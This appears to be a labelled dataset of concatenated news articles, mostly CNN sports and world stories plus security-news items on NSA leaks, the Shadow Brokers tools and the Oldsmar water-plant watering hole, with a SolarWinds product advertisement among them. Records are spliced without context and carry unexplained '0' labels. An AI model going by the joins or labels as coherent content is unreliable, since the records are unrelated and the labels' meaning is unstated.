season, while Raikkonen has struggled to adapt to the feel of the car under 2014's huge rule changes.Ferrari would love to emulate Mercedes' sensational return to form, perhaps with Brawn's help."We've talked several times," said the Ferrari team principal, who took over the role following Stefano Domenicali's resignation in April."Ross has been at Ferrari. He came here with friends so it was very nice to spend a few minutes [together]."Brawn is on a break from F1 after leaving Mercedes following a management restructure which saw former McLaren technical director Paddy Lowe arrive to lead the team alongside Toto Wolff.However, Mattiacci made it clear that any future for Brawn with Ferrari would not undermine his tenure at the top.Successful story"At the moment I am the number one on the team," the Italian insisted."I like to work with what I have. We are building a very strong team with a medium, long-term plan."My role is to shorten as much as I can this plan to make it effective as soon as possible. We are building the foundation for a very successful story."Certainly, Mattiacci is a man who has created his own story of success up to this point, following a 15-year career with the Italian marque. Roles in Asia and Europe led to the 43-year-old becoming president of the North American business, where he picked up the 'Automotive Executive of the Year Award' following a 20% increase in sales.So global were his previous roles that he's currently readjusting to life back in Italy for the first time in 20 years, while his young family remain in the US.Critics argue Mattiacci lacks F1 experience, but for the man who lives by a personal motto of 'nothing is impossible', this is the time for the 'Prancing Horse' to be bullish.And key to rediscovering their 'self confidence' will be not to repeat the mistakes of the recent past.Ferrari failed to take advantage of 2014's new engine formula, which opened the door to catch up on its rivals, and engine chief Luca Marmorini subsequently found himself without a job.JUST WATCHEDRicciardo: Disqualification didn't stop meReplayMore Videos ...MUST WATCHRicciardo: Disqualification didn't stop me 03:48JUST WATCHEDRosberg's lessons from World Champion fatherReplayMore Videos ...MUST WATCHRosberg's lessons from World Champion father 04:27JUST WATCHEDThe wind in Sauber's sailsReplayMore Videos ...MUST WATCHThe wind in Sauber's sails 03:53The Scuderia reportedly made another big money offer to Red Bull's star technical chief Adrian Newey this year, although he turned it down to stay on at Red Bull in a revised role.A much needed reorganization of Ferrari's technical department continues to be led by James Allison, who returned to the Italian team in 2013 from the Lotus F1 team.When asked if he was confident he might be able to tempt Brawn to also return to Ferrari, Mattiacci responded: "As I said, at the moment I'm building a new team. "James is the technical director and I want to start from this point."To tango you have to have two," the classical music fan told CNN."Maybe Ross is happy with what he is doing." Brawn, who turned to his hobby of fly-fishing after leaving Ferrari in 2006, might not be fishing for a return to F1 or Ferrari yet.But if Mattiacci could persuade him to join the Italian marque he would have landed one of the sport's biggest catches.Read: Mercedes use Twitter to solve driver dilemmaRead: Teenager to make F1 historyRead: Ferrari give Jules Bianchi test run | 0 |
Story highlightsPSG sporting director Leonardo says David Beckham will not join French clubLeonardo says Los Angeles Galaxy veteran does not want to move his familyBeckham had been expected to return to Europe ahead of the 2012 OlympicsThe 36-year-old's contract with the Galaxy expired at the end of 2011Soccer superstar David Beckham will not be leaving the U.S. to join Paris Saint-Germain, the French club announced on Tuesday.The 36-year-old had been widely expected to sign for the Qatari-owned side during European football's January transfer window, but PSG sporting director Leonardo said the former England captain would likely stay in Los Angeles."It's over. It's a shame," Leonardo said from the team's mid-season training camp in Doha, according to the website of French sports paper L'Equipe."But the welfare of his family in Los Angeles, the wish not to change everything in his life, weighed heavily."Beckham is now expected to negotiate a new contract with Los Angeles Galaxy, the Major League Soccer team he joined in 2007 and led to the MLS Cup title in November last year.The former Manchester United and Real Madrid midfielder's previous five-year deal expired on December 31, and he was tipped to return to Europe in order to secure a place in the Great Britain team for the 2012 Olympics in his native London.However, it now appears that Beckham would prefer not to uproot his wife Victoria and their four children.The youngest, daughter Harper, is the only one to be born in the "City of Angels" after her arrival in July 2011.Confirmation that Beckham would not join the French league leaders was not a surprise as Leonardo and new coach Carlo Ancelotti had both denied reports that a deal had been done in the past few days.The PSG squad are in the Middle East preparing for Wednesday's friendly match against one of Ancelotti's former clubs, Italian champions AC Milan, in Dubai. | 0 |
(CNN)If the history of film was once described as before and after "Gone with the Wind," it could be argued that the history of the World Cup can be defined as before and after the game between England and Argentina 32 years ago -- with one Diego Armando Maradona as protagonist.It's not that the game itself changed the way football is played, or had a long-lasting effect on the rules and regulations of the sport -- unlike the match between the two nations in the 1966 World Cup, when Antonio Rattin claimed he didn't understand English as the referee indicated he should leave the pitch.Rattin's refusal delayed play for so long that by the next World Cup, in 1970, red and yellow cards had been introduced as universal symbols that required no further explanation.In 1986 what happened in the space of a few minutes was that everything that's possible in a game of football took place on the pitch, in full view of everyone watching, and it was all carried out by one man. The bad and the good, the ugly and the beautiful, lawlessness and perfection all displayed for everyone to see. Argentine writer Juan Sasturain often says the word 'football' is wrong, because it's not a game one plays with one's feet, it's a game that one is not allowed to play with one's hand. That's almost the main rule. And yet Argentina's first goal against England was scored with a hand, but unseen by the referee and the linesmen, it was allowed.Read MoreThe infamous "Hand of God," as the perpetrator dubbed it immediately after the match with a certain cheekiness -- rather than blasphemy -- almost like a child blaming his brother for stealing the sweets. "It must have been the hand of God," Maradona chuckled when asked by the media about it.It was a moment that stunned the world. A tiny man outsmarts the tall goalkeeper -- Peter Shilton -- by jumping high in the air with his arm stretched up, closed fist, and simply punches the ball into the net. As shocking as it was unfair, the tension only rises as the fans inside the stadium and watching on TV wonder if the goal will stand.Some live commentary of the match suggests it will be disallowed -- "I think he handles the ball", "is it hand-ball?" -- but the authorities on the pitch never call it and goal it is.For the English, a blatant injustice so hard to stomach that bookmakers William Hill paid punters who called it a draw in spite of the final score. Photos: Key World Cup momentsGeoff Hurst, 1966 – Did it cross the line? With the scores between England and West Germany level at 2-2 in the 1966 World Cup final, striker Geoff Hurst's shot hit the crossbar and deflected downwards. At first a goal wasn't given, but then allowed after consultation between the referee and linesman. The game ended 4-2, securing England's first and only World Cup victory. Hide Caption 1 of 11 Photos: Key World Cup momentsPele, 1970 – Brazil's 100th World Cup goal, celebrated wildly by Pele, who jumped into the air with joy as his side took the lead in the final against Italy. The game ended 4-1 to Brazil -- their third World Cup victory. Hide Caption 2 of 11 Photos: Key World Cup momentsDutch great Johan Cruyff scored three goals in the 1974 World Cup, twice against Argentina in the second round and then against Brazil in a 2-0 win that sent Holland through to the final.Hide Caption 3 of 11 Photos: Key World Cup momentsHarald Schumacher, 1982 – An ugly moment. German goalkeeper Harald Schumacher clattered into France's Patrick Battiston, who was through on goal, knocking him unconscious at the 1982 semifinal in Spain. Schumacher was unmoved as his opponent was stretchered off the field. Hide Caption 4 of 11 Photos: Key World Cup momentsDiego Maradona, 1986 – "The Hand of God" needs little introduction. England vs. Argentina, the quarterfinal of the 1986 World Cup in Mexico. A mis-hit clearance was heading into the hands of goalkeeper Peter Shilton, before a leaping Diego Maradona intercepted it with his hand, punching the ball into the net. The game ended 2-1, with Argentina going on to win the World Cup. Hide Caption 5 of 11 Photos: Key World Cup momentsRoger Milla, 1990 – One of the greatest ever World Cup celebrations. Roger Milla turned on the style at the 1990 World Cup in Italy, which saw his Cameroon team reach the quarterfinals -- the furthest an Africa team has ever gone in the competition. Hide Caption 6 of 11 Photos: Key World Cup momentsAndres Escobar, 1994 – An own-goal by Colombia's Andres Escobar had tragic consequences. Less than a week after seeing his team eliminated from the competition due to his error, Escobar was shot dead on the streets of Medellin, a murder linked to drug lords who lost huge amounts of money on the result. Hide Caption 7 of 11 Photos: Key World Cup momentsA Dutch master at work ... Dennis Bergkamp stops Frank de Boer's pass dead, transferring the ball to his left foot as he twists past Argentina's Roberto Ayala. His third touch, again with his right boot, flicks it past Carlos Roa, the keeper. Three perfect touches to take the ball from a speculative punt upfield to what remains one of the ultimate moments of skill ever displayed in a World Cup.Hide Caption 8 of 11 Photos: Key World Cup moments2006, Zinedine Zidane – A rush of blood to the head. With the 2006 World Cup final moving into extra-time, goalscorer Marco Materazzi muttered a few words to France legend Zinedine Zidane, who returned with a headbutt to the Italian's chest. In his last ever professional match, Zidane was red carded and Italy went on to win on penalties. Hide Caption 9 of 11 Photos: Key World Cup momentsLuis Suarez, 2010 – Another South American -- this time Uruguayan Luis Suarez -- another handball. This one, however, was less subtle. Suarez's hands prevented Ghana from bagging a winner in extra-time. He saw red, and Asamoah Gyan's whacked the resulting penalty against the bar. Uruguay went on to win on penalties. Hide Caption 10 of 11 Photos: Key World Cup momentsBrazil vs. Germany, 2014 – One of the biggest humiliations the World Cup has ever seen. Brazil has struggled for form throughout the tournament, which was being played on home soil for the first time in 64 years, and met an impressive German side in the semifinals. But few could have predicted what was to follow: a 7-1 demolition by the visitors, who went on to lift the World Cup trophy. Hide Caption 11 of 11READ: 11 moments that shook the World CupREAD: And the winner of the 2018 World Cup will be ...READ: The biggest World Cup upsetsAnd then a few minutes later, the "Goal of the Century" -- as it was later voted in a FIFA poll -- the same tiny man receives a pass from his long-time friend, midfielder El Negro Enrique near the halfway line.Maradona starts running and dribbling like a child let loose in the potrero -- the Argentine open spaces where kids runabout with any object that may resemble a ball, lusting for it, hanging on to it, caressing and dancing with it, playing with it, making sure nobody else can take it away -- and as if it was somehow attached to his foot he passes one, two, three ... seven English players.Each one "left for dead" as the English commentator said at the time. Each one with a stunned look in their face, a mixture of horror that this was being done against them and admiration that they had such exclusive access to witness this marvel. Dutch filmmaker and football writer Joe de Putter once described it as the only miracle of the 20th Century, and he wasn't joking."This has nothing to do with the war'Both these goals actually happened and we all saw them. They were real. And they made history.A lot has been said since about them, about their author, and perhaps we have tried too much to extrapolate some further significance or meaning. Both countries had a long tradition of football rivalry, and to boot it was the first time they met on a sporting arena since the Falklands or Malvinas War four years earlier. Many of the players had, at least on the Argentine side, friends or relatives who had been conscripted, maybe even lost their life.The line "this has nothing to do with the war" had been repeated often enough to have instilled the notion that it might have something to do with the hostilities in 1982, and as the national anthems were sang by players on both side some of the Argentines had a warrior-like look on their faces, a hint that this rival is one they particularly wanted to defeat. "He toppled his Majesty's troops with no more weapon to hand than a number 10 stitched on his shirt" is a line from the subsequent hit song Maradó, by the seminal 1990s Argentine rock band Los Piojos.There's also a significant amount of literature claiming that somehow in Argentina, where it's often said that the only crime is getting caught, people like the first goal better than the second. JUST WATCHEDCopa90: Diego Maradona - The God of NaplesReplayMore Videos ...MUST WATCHCopa90: Diego Maradona - The God of Naples 03:17And it's true that there is a national narrative that seeks justification, maybe even forgiveness for the first by rationalizing -- perhaps erroneously -- that the victims somehow deserved it. "It was like pickpocketing an Englishman," Maradona described his feelings in the aftermath. While his friend, musician Fabian Von Quinteiro, once went as far as saying: "The sinking of the Belgrano was also a hand goal," in reference to the Argentine Navy cruiser controversially sunk by a British submarine outside the exclusion zone during the 1982 conflict.Jorge Valdano, who played alongside and tried to keep up with Maradona hoping to receive the ball in the unlikely event that it should be passed, later said: "In the potrero the second goal is worth two," as if the informal rules of the street kickabout should take priority over the formal rules of the World Cup.Jorge Burruchaga, when asked if he saw the handball at the time of the first goal, told CNN Sport: "No. I was on the opposite side, 20-25 meters away so I didn't notice. I realized [something was up] because they all had surprised faces, and we celebrated in surprise."But also after that came a goal which, for me, is still the best in World Cup history. A goal which was worth the one with the hand and two more." It's as if the two goals are rolled into one, and Argentina as a whole cannot think of of one without the other. Ask any Argentine about the "Hand," and they will mention the "Dribble" in the same breath. Photos: Diego Maradona: The world's greatest ever player?One of the world's greatest ever players, Diego Maradona led Argentina to victory in the 1986 World Cup final against West Germany in Mexico.Hide Caption 1 of 12 Photos: Diego Maradona: The world's greatest ever player?Maradona's quick thinking -- and quick hand -- handed Argentina a World Cup quarterfinal victory against England in Mexico City during the 1986 tournament.Hide Caption 2 of 12 Photos: Diego Maradona: The world's greatest ever player?Maradona followed that act of subterfuge with one of the greatest ever World Cup goals as England lost 2-1. The Argentine ran half the length of pitch, outwitting a number of England defenders before slotting the ball past goalkeeper Peter Shilton.Hide Caption 3 of 12 Photos: Diego Maradona: The world's greatest ever player?Mexican referee Ernesto Codesal Mendez gives a yellow card to Maradona in the 1990 World Cup final between Argentina and West Germany, who won the game 1-0.Hide Caption 4 of 12 Photos: Diego Maradona: The world's greatest ever player?A pumped-up Maradona during the 1994 World Cup hosted by the U.S. He was later thrown out of the tournament after testing postive for the banned stimulant ephedrine, signaling the end of his international career. Hide Caption 5 of 12 Photos: Diego Maradona: The world's greatest ever player?Despite his controversial career, Maradona remains hugely popular among Argentina's fans, who showed their colors ahead of the 2014 World Cup Group F match against Nigeria in Porto Alegre, Brazil.Hide Caption 6 of 12 Photos: Diego Maradona: The world's greatest ever player?Maradona is also venerated in Naples after leading Napoli to the Italian Serie A title in 1987 and 1990.Hide Caption 7 of 12 Photos: Diego Maradona: The world's greatest ever player?Maradona coached Argentina in the 2010 World Cup finals, but the South Americans were dumped out in the quarterfinals after a 4-0 defeat by Germany.Hide Caption 8 of 12 Photos: Diego Maradona: The world's greatest ever player?July 2012: Diego Maradona was sacked as manager of United Arab Emirates side Al Wasl after 14 months in charge.Hide Caption 9 of 12 Photos: Diego Maradona: The world's greatest ever player?But just who is the best ever Argentine player -- Lionel Messi or Maradona? Fellow Argentine Pope Francis remains neutral ...Hide Caption 10 of 12 Photos: Diego Maradona: The world's greatest ever player?Maradona has only praise for the phenomenal amount of goals Messi has scored -- already this season the Barcelona star has netted 53 times.Hide Caption 11 of 12 Photos: Diego Maradona: The world's greatest ever player?Maradona was interviewed by CNN anchor Becky Anderson.Hide Caption 12 of 12READ: How Australia kept fit on 250,000 km World Cup journeyREAD: Your Country Needs You! What nationality means to the modern-day footballerPhoenix-like reinventionAnd what of the genius who gave us those minutes of extreme emotions that day on a Mexican football pitch. Quite simply the best football player who ever lived? Or was he? Permanently compared to other greats; was he better than Pele, than Johan Cruyff? He arrived on the heels of Argentina's greatest, Alfredo Di Stefano, and left the position for the current world supremo, Lionel Messi.Maradona is so adored that when his off-the-field misdemeanours, not to say crimes, often left him at death's door, mass vigils popped up round the world, from Bangladesh to Naples. A church has been started in his name. There is a museum devoted to him in Buenos Aires, located in the house where he grew up as a teenager. Grown men cry when they are able to evoke the emotions he has managed to awaken with his undisputed talent. Though interestingly when opinion polls are run to chose Argentina's best sports personality in history, for instance, the mild-mannered good-natured Juan Manuel Fangio wins hands down every time. In the 32 years since those two goals which we have come to think of as a single event, the rollercoaster nature of his life has seen him hit the headlines over and over: he has risen to deity status and fallen from grace to the darkest pits imaginable only to rise back up.Which defining World Cup moment stands out for you? Have your say on our Facebook page or by tweeting @CNNSportFrom one of the world's biggest doping scandals on a World Cup forum, to a phoenix-like reinvention as the most charming manager ever to grace the game, his personal issues with addiction, substance abuse, illegitimate children, and feuds over money pale in comparison to his huge personality -- his charisma spreads wherever he is.If he hosts a TV show, it's the most amazing and surreal TV show anybody has ever seen. If he enters a room, people stand in ceremony and tell the tale for years after of how they were in the room when he entered it. Power. Charm. Talent. And the ability to be seen to be frail, vulnerable and imperfect with it. A walking contradiction that somehow validates contradiction; gives us all permission to accept our own humanity, our faults, our undesirable desires. Whether or not he was better than Pele or Cruyff is neither here nor there. He is truly unique, and the literal proof of this can be seen in those two goals he scored against England in 1986. | 0 |
Image Credit: The guardian
If I say that NSA (National Security Agency) will never stop spying on us then it won't be wrong. After the exposure of the large number of surveillance scandals including PRISM, DROPOUTJEEP, XKeyscore and many many more which are now publicly known as well as unknown, Will NSA ever stop Privacy breach?
Obviously 'NO'. That I can predict from another Snowden leak published by the Washington Post news website recently i.e. US National Security Agency (NSA) is trying to develop a futuristic super computer called 'Quantum computer' that could be capable of breaking almost every kind of encryption on the computer used to protect banks, medical, business including top-secret information held by government around the world.
The Project is specified as "Penetrating Hard Targets" in the document and is a part of $79.7 million research program. The Washington Post says that the research is being done at the University of Maryland's Laboratory for Physical Sciences.
The goal of creating a working quantum computer is to boost encryption cracking capabilities against world's strongest encryption i.e. RSA - commonly used in Web browsers for encrypted emails and secure financial transactions.
RT News reports:
The basic principle in quantum computing is "quantum superposition," or the idea that an object simultaneously exists in all states. A classic computer uses binary bits, or zeroes and ones. A quantum computer uses quantum bits, or qubits, that are simultaneously zero and one. While a classic computer must do one calculation at a time, a quantum computer can achieve a correct answer much faster and efficiently through parallel processing, with no need to run those calculations.
The progress of the NSA's Project on such computer is not known, but Snowden's documents suggested that the agency is no closer to building a quantum computer and it is difficult to attain because of the fragile nature of such computers.
His disclosures not only threatened the whole world but also surprised his own citizens who have the thing called the Constitution and in that constitution has a 'Bill of rights', one of which is the 4th amendment says:
The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no Warrants shall issue, but upon probable cause, supported by Oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.
Now when the IT World is facing massive security breaches like Target, Adobe, Linkedin, Snapchat due to the lack of good encryption practices and Malware threats like Cryptolocker - due to the strongest encryption, but the NSA is doing NOTHING to defend people against such threats.
I suppose the dedication of NSA to save the world and to developing the strongest encryptions, rather they are ruining the user' privacy and security community by targeting encryption, tapping telephones, accessing email, hacking iPhone etc. At the same time such activities by National Security Agencies are also motivating the cyber criminals to do the same.
Here you can read all NSA Stories published on 'The Hacker News' - Click Here.
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If you are a hacker, you might have enjoyed the NSA's private zero-day exploits, malware and hacking tools that were leaked last month.
But the question is: How these hacking tools ended up into the hands of hackers?
It has been found that the NSA itself was not directly hacked, but a former NSA employee carelessly left those hacking tools on a remote server three years ago after an operation and a group of Russian hackers found them, sources close to the investigation told Reuters.
The leaked hacking tools, which enable hackers to exploit vulnerabilities in systems from big vendors like Cisco Systems, Juniper, and Fortinet, were dumped publicly online by the group calling itself "The Shadow Brokers."
NSA officials have also admitted to the FBI that their careless employee acknowledged the error shortly afterward, and hence the agency was aware of its operative's mistake from last three years.
But instead of warning the affected companies that their customers were at risk, the NSA maintained the silence.
"After the discovery, the NSA tuned its sensors to detect [the] use of any of the tools by other parties, especially foreign adversaries with strong cyber espionage operations, such as China and Russia," Reuters reports.
Well, that's Bullshit! If they call it a 'tactic.'
Shortly after the public release of NSA cyber weapons, firewall vendors Cisco and Fortinet confirmed that the leaked zero-day vulnerabilities were legitimate and issued out patches to fix those exploits.
We are still waiting for the comments from the NSA, the FBI and the Office of the Director of National Intelligence about the matter.
Since the initial leak of NSA's hacking tools last month and confirmation of the leaked vulnerabilities being legitimate by Cisco and Fortinet, the intelligence agency and online community has been finding out the working exploits in the data dump that are still unknown and used in the wild.
Just recently, Cisco revealed a new zero-day vulnerability from the leaked data dump that had been used by hackers to target some of its customers, which indicates that hackers would likely continue to take advantage of the now-exposed exploits to conduct cyber attacks.
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In today's world your network is subject to a multitude of vulnerabilities and potential intrusions and it seems like we see or hear of a new attack weekly. A data breach is arguably the most costly and damaging of these attacks and while loss of data is painful the residual impact of the breach is even more costly.
The loss or leakage of sensitive data can result in serious damage to an organization, including:
Loss of intellectual property
Loss of copyrighted information
Compliance violations
Damage to corporate reputation/brand
Loss of customer loyalty
Loss of future business opportunities
Lawsuits and ongoing litigation
Financial and criminal penalties
To help you protect sensitive data and reduce the risk of data loss, we recommend using a Security Information and Event Management (SIEM) technology such as SolarWinds® Log & Event Manager.
If you're not familiar with Log & Event Manager (LEM), it's a comprehensive SIEM product, packaged in an easy-to-use, all-in-one virtual appliance. It's loaded with out-of-the-box functionality so you can hit the ground running without having to be a security expert! Most importantly, LEM has expert developed features to help with data loss prevention.
Download a free, Fully-Functional, 30 day trial of LEM.
Feature #1 Real-Time Event Correlation
SolarWinds LEM employs a proactive approach to help you identify and respond to threats in real time. LEM automatically collects and aggregates log data from network devices, systems, and applications throughout the IT infrastructure. It then normalizes this data into a consistent format and performs multiple event correlation, along with the distinct ability to set independent activity thresholds per event or per group of events. The end result is security intelligence you can count on and reduced false positives.
Instantly detect security, operational, and compliance issues, including external breaches, insider abuse, policy violations, application availability, performance problems, and more
Get alerted in real time and contain threats at network speed
Leverage over 700 built-in event correlation rules for out-of-the-box visibility and intelligence
Gain immediate insight into network anomalies and suspicious patterns in your environment
Detect and stop zero-day, multi-vector and blended threats
Feature #2 Unauthorized Network Access Prevention
SolarWinds LEM can help protect your network from unauthorized access in multiple ways, including the ability to monitor user activity, such as logon attempts, and then correlate events with other log activity to identify suspicious behavior and malicious activity. LEM can then automatically disable user access. Another key way LEM can prevent access to sensitive data is through its real-time detection and automatic detachment of unauthorized USB devices. Plus, LEM enables you to monitor what files and processes are accessed on the device.
Feature #3 Embedded File Integrity Monitoring
SolarWinds' SIEM software has real-time File Integrity Monitoring (FIM) for Windows® allowing you to address more compliance requirements and gain deeper security visibility.
Provides intelligence that you can't get from logs to detect zero-day malware, insider abuse, and stealthy attacks
Addresses key requirements of regulations including PCI DSS, HIPAA, SOX, and more at no extra cost
Deep integration with SIEM provides a complete view of all user activity across files, applications, systems, and networks
Advanced threat techniques and increased regulatory scrutiny demands make attacks harder to detect and audits harder to pass. Logs alone don't provide the intelligence required to detect today's advanced threats. Log & Event Manager includes File Integrity Monitoring (FIM) to deliver granular information about file and system access that you can't get from logs.
Feature #4 Stay Compliant, Stay Secure
Being in line with IT compliance regulations, such as PCI DSS, GLBA, SOX, NERC CIP, and HIPAA require businesses to protect, track, and control access to and usage of confidential/proprietary information and private customer data. Unfortunately, many organizations treat compliance as just a "checkbox" to pass an audit, instead of focusing on putting truly effective controls in place to better secure their network resources and critical data.
With SolarWinds Log & Event Manager's real-time log analysis and powerful cross-device/cross-event correlation, you can quickly uncover policy violations that could leave your network vulnerable to a breach. And, with over 300 predefined, customizable reporting templates, you can ensure the right controls are in place to not only maintain compliance, but keep your network and the data it holds secure.
Log & Event Manager for Network Protection and Data Loss Prevention
SolarWinds Log & Event Manager Feature Highlights:
Easy Collection of Network, Security, Machine, Application and Cloud logs
Real-time, In-Memory, Event Correlation for Immediate Threat Detection
Built-in Active Responses for Automated "Hands-Free" Remediation
Automatic USB Device Detection and Detachment for Protecting Sensitive Data
Advanced IT Search and Intuitive Data Visualization for Fast and Easy Forensic Analysis
Predefined, Customizable Templates for Simplified Security, Compliance, and Operations Reporting
Affordable, All-in-One Virtual Appliance for Quick and Easy Deployment and Use
You can download a Free, Fully-Functional, 30 day trial of LEM.
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(CNN)A fire aboard a Russian deepwater submersible killed 14 Russian crew members, state news agencies reported Tuesday, citing the Ministry of Defense.The submariners died from smoke inhalation after a blaze broke out on the craft, which was carrying out research in Russian territorial waters, according to the state-run news agency Tass.The fire was later extinguished, Tass reported, hailing the "selfless actions of the team" on board.The submersible, which is smaller than a submarine and has limited power reserves, is now at the naval base in Severomorsk on the Barents Sea. An investigation into the incident is being carried out by the Russian navy's commander-in-chief, state news agency RIA-Novosti reported.Read MoreRussian President Vladimir Putin has called for Defense Minister Sergei Shoigu to oversee the probe, Tass reported."I ask you to fly to Severomorsk in order to personally listen to the reports and to aim the commission to get to the bottom of the causes of the tragedy," Putin told the defense minister, per Tass. "I ask you to report to me personally upon your return."The blaze is one of the deadliest incidents the Russian navy has experienced in years.Twenty people were killed on board a Russian nuclear submarine in 2008, when a fire extinguishing system was triggered accidentally. In 2000, more than 100 men died on a nuclear-powered submarine when two explosions in its bow sank it to the floor of the Barents Sea.This is a developing story. | 0 |
(CNN)As Britain hurtles toward its divorce from the EU, one boy band has tasked itself with changing Brexit voters' minds.The overwrought video to the anthem "Britain Come Back" shows European boy band Breunion Boys singing, dancing and writhing on a Dutch beach. "I cannot believe this is the end (oh no); I still feel your love inside me; I still sing your words," they sing in the video, which was filmed earlier in December. "Your voice paints my heart; your mirage fades away. Your choice turns my spine gray. There's always been a sea between us, we used to sail it together -- but you're leaving, now we're falling apart," the band sings. "Britain, come back to us, it is not too late to turn around."Read MoreThe group is the brainchild of animation artist Julia Veldman -- who plans to take the band on a tour of pubs around the UK in a bid to win hearts and "look at people who dumped us (Europeans) in the eye and have a serious conversation."She hopes the song's emotion can change the mind of Brexit supporters. "The leave vote was not just calculated, it was emotional," she told CNN. "Responding to those emotions with only facts seems stupid." "Look how angry many Brits are towards the EU and how many Europeans are angry towards Britain for leaving," band member Joshua Alagbe, 24, told Reuters. "We are kind of an answer to the emotion."The non-Brits guide to Brexit (because it affects you too)Veldman spent most of 2018 auditioning members, looking for people who would "represent the EU" before landing on three Dutch nationals, one Afghan and a Spaniard. She denied the group was formed as joke, saying it is the crystallization of millions of Europeans wanting Britain to stay in the union. "It is funny, but it is also very, very serious. It is how I feel ... and I know there are millions of Europeans feeling the same way as I do, but it is not being expressed," she said of the bureaucratic language coming from Brussels. Brexit: Why is the Irish border 'backstop' such a big deal?The 30-year-old spent more than $13,000 of her own money on the project, relying on free help from composer Flavia Faas, who wrote the music and lyrics and devised the choreography, and a team of filmmakers to bring it all together. Veldman said it was important that the band's look and video be reminiscent of the girl and boy bands of the 1990s, adding wistfully: "It reminds you of the glory days of the EU, when it felt like the future was European -- with Britain in it." | 0 |
An investigation undertaken in the aftermath of the Oldsmar water plant hack earlier this year has revealed that an infrastructure contractor in the U.S. state of Florida hosted malicious code on its website in what's known as a watering hole attack.
"This malicious code seemingly targeted water utilities, particularly in Florida, and more importantly, was visited by a browser from the city of Oldsmar on the same day of the poisoning event," Dragos researcher Kent Backman said in a write-up published on Tuesday.
The site, which belongs to a Florida-based general contractor involved in building water and wastewater treatment facilities, had no bearing on the intrusion, the American industrial cybersecurity firm said.
Watering hole attacks typically allow an adversary to compromise a specific group of end-users by compromising a carefully selected website, which members of that group are known to visit, with an intention to gain access to the victim's system and infect it with malware.
In this specific case, however, the infected website didn't deliver exploit code or attempt to achieve access to visitors' systems. Instead, the injected code functioned as a browser enumeration and fingerprinting script that harvested various details about the website's visitors, including operating system, CPU, browser (and plugins), input methods, presence of a camera, accelerometer, microphone, time zone, locations, video codecs, and screen dimensions.
The collected information was then exfiltrated to a database hosted on a Heroku app site (bdatac.herokuapp[.]com) that also stored the script. The app has since been taken down. Dragos suspects a vulnerable WordPress plugin may have been exploited to insert the script into the website's code.
No fewer than 1,000 end-user computers visited the infected site during the 58-day window beginning Dec. 20, 2020, before it was remediated on Feb. 16, 2021. "Those who interacted with the malicious code included computers from municipal water utility customers, state and local government agencies, various water industry-related private companies, and normal internet bot and website crawler traffic," Backman said.
"Dragos' best assessment is that an actor deployed the watering hole on the water infrastructure construction company site to collect legitimate browser data for the purpose of improving the botnet malware's ability to impersonate legitimate web browser activity," the researcher added.
Based on telemetry data gathered by the company, one among those 1,000 visits came from a computer residing in the network belonging to the City of Oldsmar on Feb. 5, the same day an unidentified adversary managed to increase sodium hydroxide dosage in the water supply to dangerous levels by remotely accessing the SCADA system at the water treatment plant.
The attackers were ultimately foiled in their attempt by an operator, who managed to catch the manipulation in real-time and restored the concentration levels to undo the damage. The unauthorized access is said to have occurred via TeamViewer remote desktop software installed on one of the plant's several computers that were connected to the control system.
The Oldsmar plant cyberattack, and more recently the Colonial Pipeline ransomware incident, have set off concerns about the potential for tampering with industrial control systems deployed in critical infrastructure, prompting the U.S. government to take steps to bolster defenses by protecting federal networks and improving information-sharing between the U.S. government and the private sector on cyber issues, among others.
"This is not a typical watering hole," Backman said. "We have medium confidence it did not directly compromise any organization. But it does represent an exposure risk to the water industry and highlights the importance of controlling access to untrusted websites, especially for Operational Technology (OT) and Industrial Control System (ICS) environments."
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